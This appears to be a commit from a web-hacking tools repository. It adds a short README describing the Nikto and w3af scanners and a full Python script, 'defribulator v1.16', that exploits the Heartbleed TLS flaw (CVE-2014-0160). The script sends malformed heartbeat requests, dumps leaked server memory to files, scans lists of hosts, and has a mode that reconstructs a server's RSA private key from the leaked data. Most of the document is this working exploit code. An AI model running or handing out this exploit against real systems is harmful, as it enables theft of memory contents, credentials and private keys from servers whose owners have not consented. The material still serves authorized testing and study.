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add the stuff floating from other machines

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Web_Hacking/Scanners/README.md Normal file
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## [Nikto](http://sectools.org/tool/nikto/)
* Nikto is an Open Source (GPL) web server scanner which performs comprehensive tests against web servers for multiple items, including over 6400 potentially dangerous files/CGIs, checks for outdated versions of over 1200 servers, and version specific problems on over 270 servers. It also checks for server configuration items such as the presence of multiple index files, HTTP server options, and will attempt to identify installed web servers and software.
* Most scanned vulnerabilities are things such as XSS, phpmyadmin logins,
etc.
* It's coded in Perl.
* It is not a stealthy tool. It will test a web server in the quickest time possible, and it is obvious in log files.
* There is support for LibWhisker's anti-IDS methods.
* To fire it up in a website:
```
$ ./nikto.pl -h <IP> -p <PORT> -output <OUTPUT-FILE>
```
* The output file can be open with *Niktorat*.
## [W3af](http://w3af.org/)
* w3af is a Web Application Attack and Audit Framework. The project's goal is to create a framework to help you secure your web applications by finding and exploiting all web application vulnerabilities.
* It's coded in Python.
* It has plugins that communicate with each other.
* It removes some of the headaches involved in manual web application testing through its Fuzzy and manual request generator feature.
* It can be configured to run as a MITM proxy. The requests intercepted can be sent to the request generator and then manual web application testing can be peperformedsing variables parameters.
* It also has features to exploit the vulnerabilities that it finds. w3af supports detection of both simple and blind OS commanding vulnerability.

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Web_Hacking/Scanners/heartbleed.py Normal file
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#!/usr/bin/python
# Modified by Travis Lee
# Last Updated: 4/21/14
# Version 1.16
#
# -changed output to display text only instead of hexdump and made it easier to read
# -added option to specify number of times to connect to server (to get more data)
# -added option to send STARTTLS command for use with SMTP/POP/IMAP/FTP/etc...
# -added option to specify an input file of multiple hosts, line delimited, with or without a port specified (host:port)
# -added option to have verbose output
# -added capability to automatically check if STARTTLS/STLS/AUTH TLS is supported when smtp/pop/imap/ftp ports are entered and automatically send appropriate command
# -added option for hex output
# -added option to output raw data to a file
# -added option to output ascii data to a file
# -added option to not display returned data on screen (good if doing many iterations and outputting to a file)
# -added tls version auto-detection
# -added an extract rsa private key mode (orig code from epixoip. will exit script when found and enables -d (do not display returned data on screen)
# -requires following modules: gmpy, pyasn1
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
import sys
import struct
import socket
import time
import select
import re
import time
import os
from optparse import OptionParser
options = OptionParser(usage='%prog server [options]', description='Test and exploit TLS heartbeat vulnerability aka heartbleed (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
options.add_option('-n', '--num', type='int', default=1, help='Number of times to connect/loop (default: 1)')
options.add_option('-s', '--starttls', action="store_true", dest="starttls", help='Issue STARTTLS command for SMTP/POP/IMAP/FTP/etc...')
options.add_option('-f', '--filein', type='str', help='Specify input file, line delimited, IPs or hostnames or IP:port or hostname:port')
options.add_option('-v', '--verbose', action="store_true", dest="verbose", help='Enable verbose output')
options.add_option('-x', '--hexdump', action="store_true", dest="hexdump", help='Enable hex output')
options.add_option('-r', '--rawoutfile', type='str', help='Dump the raw memory contents to a file')
options.add_option('-a', '--asciioutfile', type='str', help='Dump the ascii contents to a file')
options.add_option('-d', '--donotdisplay', action="store_true", dest="donotdisplay", help='Do not display returned data on screen')
options.add_option('-e', '--extractkey', action="store_true", dest="extractkey", help='Attempt to extract RSA Private Key, will exit when found. Choosing this enables -d, do not display returned data on screen.')
opts, args = options.parse_args()
if opts.extractkey:
import base64, gmpy
from pyasn1.codec.der import encoder
from pyasn1.type.univ import *
def hex2bin(arr):
return ''.join('{:02x}'.format(x) for x in arr).decode('hex')
tls_versions = {0x01:'TLSv1.0',0x02:'TLSv1.1',0x03:'TLSv1.2'}
def build_client_hello(tls_ver):
client_hello = [
# TLS header ( 5 bytes)
0x16, # Content type (0x16 for handshake)
0x03, tls_ver, # TLS Version
0x00, 0xdc, # Length
# Handshake header
0x01, # Type (0x01 for ClientHello)
0x00, 0x00, 0xd8, # Length
0x03, tls_ver, # TLS Version
# Random (32 byte)
0x53, 0x43, 0x5b, 0x90, 0x9d, 0x9b, 0x72, 0x0b,
0xbc, 0x0c, 0xbc, 0x2b, 0x92, 0xa8, 0x48, 0x97,
0xcf, 0xbd, 0x39, 0x04, 0xcc, 0x16, 0x0a, 0x85,
0x03, 0x90, 0x9f, 0x77, 0x04, 0x33, 0xd4, 0xde,
0x00, # Session ID length
0x00, 0x66, # Cipher suites length
# Cipher suites (51 suites)
0xc0, 0x14, 0xc0, 0x0a, 0xc0, 0x22, 0xc0, 0x21,
0x00, 0x39, 0x00, 0x38, 0x00, 0x88, 0x00, 0x87,
0xc0, 0x0f, 0xc0, 0x05, 0x00, 0x35, 0x00, 0x84,
0xc0, 0x12, 0xc0, 0x08, 0xc0, 0x1c, 0xc0, 0x1b,
0x00, 0x16, 0x00, 0x13, 0xc0, 0x0d, 0xc0, 0x03,
0x00, 0x0a, 0xc0, 0x13, 0xc0, 0x09, 0xc0, 0x1f,
0xc0, 0x1e, 0x00, 0x33, 0x00, 0x32, 0x00, 0x9a,
0x00, 0x99, 0x00, 0x45, 0x00, 0x44, 0xc0, 0x0e,
0xc0, 0x04, 0x00, 0x2f, 0x00, 0x96, 0x00, 0x41,
0xc0, 0x11, 0xc0, 0x07, 0xc0, 0x0c, 0xc0, 0x02,
0x00, 0x05, 0x00, 0x04, 0x00, 0x15, 0x00, 0x12,
0x00, 0x09, 0x00, 0x14, 0x00, 0x11, 0x00, 0x08,
0x00, 0x06, 0x00, 0x03, 0x00, 0xff,
0x01, # Compression methods length
0x00, # Compression method (0x00 for NULL)
0x00, 0x49, # Extensions length
# Extension: ec_point_formats
0x00, 0x0b, 0x00, 0x04, 0x03, 0x00, 0x01, 0x02,
# Extension: elliptic_curves
0x00, 0x0a, 0x00, 0x34, 0x00, 0x32, 0x00, 0x0e,
0x00, 0x0d, 0x00, 0x19, 0x00, 0x0b, 0x00, 0x0c,
0x00, 0x18, 0x00, 0x09, 0x00, 0x0a, 0x00, 0x16,
0x00, 0x17, 0x00, 0x08, 0x00, 0x06, 0x00, 0x07,
0x00, 0x14, 0x00, 0x15, 0x00, 0x04, 0x00, 0x05,
0x00, 0x12, 0x00, 0x13, 0x00, 0x01, 0x00, 0x02,
0x00, 0x03, 0x00, 0x0f, 0x00, 0x10, 0x00, 0x11,
# Extension: SessionTicket TLS
0x00, 0x23, 0x00, 0x00,
# Extension: Heartbeat
0x00, 0x0f, 0x00, 0x01, 0x01
]
return client_hello
def build_heartbeat(tls_ver):
heartbeat = [
0x18, # Content Type (Heartbeat)
0x03, tls_ver, # TLS version
0x00, 0x03, # Length
# Payload
0x01, # Type (Request)
0x40, 0x00 # Payload length
]
return heartbeat
if opts.rawoutfile:
rawfileOUT = open(opts.rawoutfile, "a")
if opts.asciioutfile:
asciifileOUT = open(opts.asciioutfile, "a")
if opts.extractkey:
opts.donotdisplay = True
def hexdump(s):
pdat = ''
hexd = ''
for b in xrange(0, len(s), 16):
lin = [c for c in s[b : b + 16]]
if opts.hexdump:
hxdat = ' '.join('%02X' % ord(c) for c in lin)
pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
hexd += ' %04x: %-48s %s\n' % (b, hxdat, pdat)
else:
pdat += ''.join((c if ((32 <= ord(c) <= 126) or (ord(c) == 10) or (ord(c) == 13)) else '.' )for c in lin)
if opts.hexdump:
return hexd
else:
pdat = re.sub(r'([.]{50,})', '', pdat)
if opts.asciioutfile:
asciifileOUT.write(pdat)
return pdat
def rcv_tls_record(s):
try:
tls_header = s.recv(5)
if not tls_header:
print 'Unexpected EOF (header)'
return None,None,None
typ,ver,length = struct.unpack('>BHH',tls_header)
message = ''
while len(message) != length:
message += s.recv(length-len(message))
if not message:
print 'Unexpected EOF (message)'
return None,None,None
if opts.verbose:
print 'Received message: type = {}, version = {}, length = {}'.format(typ,hex(ver),length,)
return typ,ver,message
except Exception as e:
print "\nError Receiving Record! " + str(e)
return None,None,None
def hit_hb(s, targ, firstrun, supported):
s.send(hex2bin(build_heartbeat(supported)))
while True:
typ, ver, pay = rcv_tls_record(s)
if typ is None:
print 'No heartbeat response received, server likely not vulnerable'
return ''
if typ == 24:
if opts.verbose:
print 'Received heartbeat response...'
if len(pay) > 3:
if firstrun or opts.verbose:
print '\nWARNING: ' + targ + ':' + str(opts.port) + ' returned more data than it should - server is vulnerable!'
if opts.rawoutfile:
rawfileOUT.write(pay)
if opts.extractkey:
return pay
else:
return hexdump(pay)
else:
print 'Server processed malformed heartbeat, but did not return any extra data.'
if typ == 21:
print 'Received alert:'
return hexdump(pay)
print 'Server returned error, likely not vulnerable'
return ''
def conn(targ, port):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sys.stdout.flush()
s.settimeout(10)
#time.sleep(0.2)
s.connect((targ, port))
return s
except Exception as e:
print "Connection Error! " + str(e)
return None
def bleed(targ, port):
try:
res = ''
firstrun = True
print '\n##################################################################'
print 'Connecting to: ' + targ + ':' + str(port) + ', ' + str(opts.num) + ' times'
for x in range(0, opts.num):
if x > 0:
firstrun = False
if x == 0 and opts.extractkey:
print "Attempting to extract private key from returned data..."
if not os.path.exists('./hb-certs'):
os.makedirs('./hb-certs')
print '\nGrabbing public cert from: ' + targ + ':' + str(port) + '\n'
os.system('echo | openssl s_client -connect ' + targ + ':' + str(port) + ' -showcerts | openssl x509 > hb-certs/sslcert_' + targ + '.pem')
print '\nExtracting modulus from cert...\n'
os.system('openssl x509 -pubkey -noout -in hb-certs/sslcert_' + targ + '.pem > hb-certs/sslcert_' + targ + '_pubkey.pem')
output = os.popen('openssl x509 -in hb-certs/sslcert_' + targ + '.pem -modulus -noout | cut -d= -f2')
modulus = output.read()
s = conn(targ, port)
if not s:
continue
# send starttls command if specified as an option or if common smtp/pop3/imap ports are used
if (opts.starttls) or (port in {25, 587, 110, 143, 21}):
stls = False
atls = False
# check if smtp supports starttls/stls
if port in {25, 587}:
print 'SMTP Port... Checking for STARTTLS Capability...'
check = s.recv(1024)
s.send("EHLO someone.org\n")
sys.stdout.flush()
check += s.recv(1024)
if opts.verbose:
print check
if "STARTTLS" in check:
opts.starttls = True
print "STARTTLS command found"
elif "STLS" in check:
opts.starttls = True
stls = True
print "STLS command found"
else:
print "STARTTLS command NOT found!"
print '##################################################################'
return
# check if pop3/imap supports starttls/stls
elif port in {110, 143}:
print 'POP3/IMAP4 Port... Checking for STARTTLS Capability...'
check = s.recv(1024)
if port == 110:
s.send("CAPA\n")
if port == 143:
s.send("CAPABILITY\n")
sys.stdout.flush()
check += s.recv(1024)
if opts.verbose:
print check
if "STARTTLS" in check:
opts.starttls = True
print "STARTTLS command found"
elif "STLS" in check:
opts.starttls = True
stls = True
print "STLS command found"
else:
print "STARTTLS command NOT found!"
print '##################################################################'
return
# check if ftp supports auth tls/starttls
elif port in {21}:
print 'FTP Port... Checking for AUTH TLS Capability...'
check = s.recv(1024)
s.send("FEAT\n")
sys.stdout.flush()
check += s.recv(1024)
if opts.verbose:
print check
if "STARTTLS" in check:
opts.starttls = True
print "STARTTLS command found"
elif "AUTH TLS" in check:
opts.starttls = True
atls = True
print "AUTH TLS command found"
else:
print "STARTTLS command NOT found!"
print '##################################################################'
return
# send appropriate tls command if supported
if opts.starttls:
sys.stdout.flush()
if stls:
print 'Sending STLS Command...'
s.send("STLS\n")
elif atls:
print 'Sending AUTH TLS Command...'
s.send("AUTH TLS\n")
else:
print 'Sending STARTTLS Command...'
s.send("STARTTLS\n")
if opts.verbose:
print 'Waiting for reply...'
sys.stdout.flush()
rcv_tls_record(s)
supported = False
for num,tlsver in tls_versions.items():
if firstrun:
print 'Sending Client Hello for {}'.format(tlsver)
s.send(hex2bin(build_client_hello(num)))
if opts.verbose:
print 'Waiting for Server Hello...'
while True:
typ,ver,message = rcv_tls_record(s)
if not typ:
if opts.verbose:
print 'Server closed connection without sending ServerHello for {}'.format(tlsver)
s.close()
s = conn(targ, port)
break
if typ == 22 and ord(message[0]) == 0x0E:
if firstrun:
print 'Received Server Hello for {}'.format(tlsver)
supported = True
break
if supported: break
if not supported:
print '\nError! No TLS versions supported!'
print '##################################################################'
return
if opts.verbose:
print '\nSending heartbeat request...'
sys.stdout.flush()
keyfound = False
if opts.extractkey:
res = hit_hb(s, targ, firstrun, supported)
if res == '':
continue
keyfound = extractkey(targ, res, modulus)
else:
res += hit_hb(s, targ, firstrun, supported)
s.close()
if keyfound:
sys.exit(0)
else:
sys.stdout.write('\rPlease wait... connection attempt ' + str(x+1) + ' of ' + str(opts.num))
sys.stdout.flush()
print '\n##################################################################'
print
return res
except Exception as e:
print "Error! " + str(e)
print '##################################################################'
print
def extractkey(host, chunk, modulus):
#print "\nChecking for private key...\n"
n = int (modulus, 16)
keysize = n.bit_length() / 16
for offset in xrange (0, len (chunk) - keysize):
p = long (''.join (["%02x" % ord (chunk[x]) for x in xrange (offset + keysize - 1, offset - 1, -1)]).strip(), 16)
if gmpy.is_prime (p) and p != n and n % p == 0:
if opts.verbose:
print '\n\nFound prime: ' + str(p)
e = 65537
q = n / p
phi = (p - 1) * (q - 1)
d = gmpy.invert (e, phi)
dp = d % (p - 1)
dq = d % (q - 1)
qinv = gmpy.invert (q, p)
seq = Sequence()
for x in [0, n, e, d, p, q, dp, dq, qinv]:
seq.setComponentByPosition (len (seq), Integer (x))
print "\n\n-----BEGIN RSA PRIVATE KEY-----\n%s-----END RSA PRIVATE KEY-----\n\n" % base64.encodestring(encoder.encode (seq))
privkeydump = open("hb-certs/privkey_" + host + ".dmp", "a")
privkeydump.write(chunk)
return True
else:
return False
def main():
print "\ndefribulator v1.16"
print "A tool to test and exploit the TLS heartbeat vulnerability aka heartbleed (CVE-2014-0160)"
allresults = ''
# if a file is specified, loop through file
if opts.filein:
fileIN = open(opts.filein, "r")
for line in fileIN:
targetinfo = line.strip().split(":")
if len(targetinfo) > 1:
allresults = bleed(targetinfo[0], int(targetinfo[1]))
else:
allresults = bleed(targetinfo[0], opts.port)
if allresults and (not opts.donotdisplay):
print '%s' % (allresults)
fileIN.close()
else:
if len(args) < 1:
options.print_help()
return
allresults = bleed(args[0], opts.port)
if allresults and (not opts.donotdisplay):
print '%s' % (allresults)
print
if opts.rawoutfile:
rawfileOUT.close()
if opts.asciioutfile:
asciifileOUT.close()
if __name__ == '__main__':
main()